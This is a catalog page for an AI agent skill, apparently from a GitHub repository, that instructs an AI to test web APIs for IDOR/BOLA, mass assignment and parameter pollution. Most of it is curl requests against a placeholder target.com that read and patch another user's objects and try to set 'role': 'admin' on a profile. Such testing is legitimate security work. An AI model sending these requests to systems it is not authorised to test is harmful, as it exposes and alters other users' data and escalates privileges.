Business Logic & IDOR Testing Skill
SkillDev toolsEvaluates multi-tenant authorization barriers, Insecure Direct Object References (IDOR), parameter tampering, and privilege escalation logic.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Business Logic & IDOR Testing Skill skill
What this skill tells your AI
The instructions your AI receives, as published by zyrexnn/cybermes in skills/business-logic-and-idor/SKILL.md and read by ahel’s review.
Purpose
Systematically discover flaws in multi-tenant authorization logic, IDOR/BOLA, mass-assignment vulnerabilities, and price/status tampering that automated scanners cannot detect.
Inputs
- Candidate object endpoints:
/workspace/output/parameters/<target>/idor.txt - Authentication profiles: User A (Attacker token) and User B (Victim object IDs)
Workflow
1. Dual-Token Authorization Matrix Setup
Define environment variables for multi-account testing:
USER_A_AUTH="Bearer <token_user_a>"
USER_B_AUTH="Bearer <token_user_b>"
VICTIM_OBJECT_ID="10842"
2. IDOR / BOLA Verification
Test whether User A can read, update, or delete User B's resources:
# Test 1: Cross-User Resource Read (GET)
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-H "Authorization: ${USER_A_AUTH}" \
"https://target.com/api/v1/documents/${VICTIM_OBJECT_ID}" \
-o /workspace/output/idor_read_response.json
# Test 2: Cross-User Resource Modification (PUT/PATCH)
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-X PATCH \
-H "Authorization: ${USER_A_AUTH}" \
-H "Content-Type: application/json" \
-d '{"title": "Compromised Title"}' \
"https://target.com/api/v1/documents/${VICTIM_OBJECT_ID}" \
-o /workspace/output/idor_patch_response.json
3. Mass-Assignment & Privilege Escalation
Attempt to update user profile with elevated attributes:
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-X PUT \
-H "Authorization: ${USER_A_AUTH}" \
-H "Content-Type: application/json" \
-d '{"name": "Alice", "role": "admin", "is_admin": true, "verified": true, "organization_id": 1}' \
"https://target.com/api/v1/profile" \
-o /workspace/output/mass_assignment_response.json
4. Method Switching & Parameter Pollution
If standard REST routes are blocked:
# Test URL parameter override
curl -s -H "Authorization: ${USER_A_AUTH}" "https://target.com/api/v1/documents?id=${VICTIM_OBJECT_ID}"
# Test array parameter pollution
curl -s -H "Authorization: ${USER_A_AUTH}" "https://target.com/api/v1/documents?id[]=${VICTIM_OBJECT_ID}"
# Test JSON parameter injection
curl -s -H "Authorization: ${USER_A_AUTH}" -X POST -H "Content-Type: application/json" -d "{\"id\": ${VICTIM_OBJECT_ID}}" "https://target.com/api/v1/documents"
Evaluation Logic
- If HTTP status is
200 OKand response body contains User B's private data when requested with User A's token -> CONFIRMED IDOR / BOLA. - If HTTP status is
401 Unauthorizedor403 Forbidden-> Properly Enforced. - If HTTP status is
404 Not Foundwith generic message -> Safe / Object Filtered.
Output Artifacts
/workspace/reports/idor_finding_<id>.md- Detailed evidence document including request/response pairs for User A and User B.
Signals
- GitHub stars
- 790
- Forks
- 138
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
business-logic-and-idor- Source
- github.com/zyrexnn/cybermes